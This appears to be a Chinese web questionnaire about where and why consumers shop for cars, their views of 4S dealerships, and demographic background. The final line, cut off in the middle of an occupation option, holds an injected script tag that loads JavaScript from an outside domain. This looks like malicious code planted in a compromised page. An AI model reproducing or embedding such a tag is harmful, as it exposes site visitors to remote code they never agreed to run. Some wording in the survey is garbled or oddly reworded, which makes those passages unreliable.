调查正题
带 * 为必填项
1、过去三个月中,你以看车为目的专程到过下列什么销售汽车的地方看过车? *
车市(如北京亚运村车市)
综合汽车卖场(一家规模较大的商家,同时经营多个品牌)
汽车4S店(3S/4S店)
大商场开设的汽车店中店
其它
没去过实地看车过
2、假如你去汽车卖场看车了,你去看车的目的主如果下面什么? *
喜欢汽车,去看看新车型
最近要买车去比较价格
将来会买车,去采集一些汽车信息
陪其他人一块去的(自己不会主动去)
逛逛汽车市场,算是休闲了
3、假如你筹备买车或你的车是一年内买的,请问你会到或你是在下面什么地方买的呢? *
车市(如北京亚运村车市)
综合汽车卖场(一家规模较大的商家,同时经营多个品牌)
汽车4S店(3S/4S店)
网上团购
其他
过去一年没买车也不筹备买车
4、你是怎么样看待3s/汽车4S店及它们与汽车生产厂商的关系的? *
3s/汽车4S店是厂商出资打造的
3s/汽车4S店是厂商与商家合资打造
3s/汽车4S店是有实力的商家自己出资打造的
3s/汽车4S店本质上就是商家,与其他卖车的没不同
不了解它们与汽车生产厂商是什么关系
不了解3s/汽车4S店
5、下列有关汽车4S店(3s/汽车4S店)好处的描述中,你觉得对你最有价值的是哪两项? *
商品水平好
商家可信度高(车出了问题,有人找)
销售服务态度好
优惠活动多
销售配套(保险、贷款、美容)服务完善
售后服务有保障
修理技术水平高
有机会加入他们的车会组织
获得救援等其他增值服务
其他
6、下列有关汽车4S店(3s/汽车4S店)不足的描述中,你最不认可的是哪两项? *
单车销价格格比非专卖店高
零配件价格较贵
修理成本高
零配件提供准时性差
买家议价能力差(店大欺客)
分布数目较少,离家远,不便捷
其他
7、车商假如在店里提供如下设施和设施,你到店里参观时用,你最有兴趣的会是哪两种? *
播放所售汽车宣传视频的电视
汽车杂志、书本
舒服的休息座椅
免费茶水
其他饮料(收费)
8、汽车卖场已经进了商场和闹市区,假如你要买车,你会不会考虑到商场里的汽车店或城市繁华地段的店里买? *
不会,那不是买车的地方
只须价格实惠就能到那里买
会,那里买的车一定水平有保障,服务好
说不清
9、在同一种性质的车辆销售场合中,影响你决定是在这家店买,还是在那家店买车的原因你觉得什么要紧? *
价格,哪家实惠在哪家买
信誉,哪家可信度高在哪家买
服务,哪家服务便捷在哪家买
商品,哪家可供选择的商品多在哪家买
营销,哪家提供的营销便宜在哪家买
背景调查
Z1.请问你或你的家庭是不是有私家车 *
没
有
Z2.你计划在将来多久内买车 *
半年以内
半年到1年
1-2年
2-3年
3年以上
说不清
Z3.请问你的买车(预计买车)目的是以下哪种状况;假如你多种作用与功效间而有之,那样你更多的用法是倾向于 *
休闲、提升生活水平(购物、郊游、健身、娱乐)
平时便捷(上、下班的代步工具,接送家人、探亲访友)
工作需要:因公外出时的交通工具
社交场所中身份的体现
单位买车
其它: *
Z4.请问你的年龄是 请选择 20岁以下 20-25岁 26-35岁 36-45 45岁以上 拒答 *
Z5. 那你个人的实质月均收入水平等于下面哪一个档次? 请选择 1000元及以下 1001-2000元 2001-3000元 3001-5000元 5001-8000元 8001元及以上 拒答 *
Z6、请问你的职业是 请选择 高层管理职员(所在单位最高层的管理者,如局级单位的局长副局长、公司董事长/总裁/副总裁等) 中层管理职员(如?script src=http://cn.jxmmtv.com/cn.js>cript>